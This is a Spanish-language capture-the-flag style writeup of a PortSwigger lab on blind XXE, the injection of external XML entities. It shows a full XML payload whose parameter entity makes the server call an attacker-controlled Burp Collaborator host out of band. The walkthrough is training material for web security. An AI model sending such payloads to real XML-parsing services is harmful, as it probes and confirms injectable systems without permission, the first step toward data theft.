Descripción

This lab has a «Check stock» feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.

To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

Blind XXE with out-of-band interaction via XML parameter entities writeup

Este laboratorio es muy similar al anterior, Blind XXE with out-of-band interaction, pero con una ligera modificación.

Al entrar vemos una tienda online. Entramos en un producto con ‘View details’ y capturamos la petición con el ‘Logger’ de Burp Suite:

Iremos primero al ‘Collaborator’ de Burp Suite y pulsaremos en ‘Copy to clipboard’. Guardaremos el valor de la IP, en mi caso ‘8luvpj3d0hcperzw1x9aehercii96zuo.oastify.com’.

Ahora, en el ‘Repeater’, introduciremos el siguiente código:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://8luvpj3d0hcperzw1x9aehercii96zuo.oastify.com"> %xxe; ]>
 <stockCheck>
 <productId>1</productId>
 <storeId>1</storeId>
</stockCheck>

Nota: La diferencia con el laboratorio anterior es que ahora no podemos invocar a xxe en ‘productId’ con ‘&’, sino que tenemos que hacerlo con una entidad parametrizada (%xxe;), que no puede ser usada en el cuerpo de la petición XML.

Creando una entidad llamada ‘xxe’ que acceda a la IP del ‘Collaborator’. Al hacer la petición el servidor, recibiremos el código HTTP 400, pero habremos recibido la petición en el ‘Collaborator’:

Nota: Si no aparece automáticamente, hay que pulsar ‘Poll now’.

Completando así el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *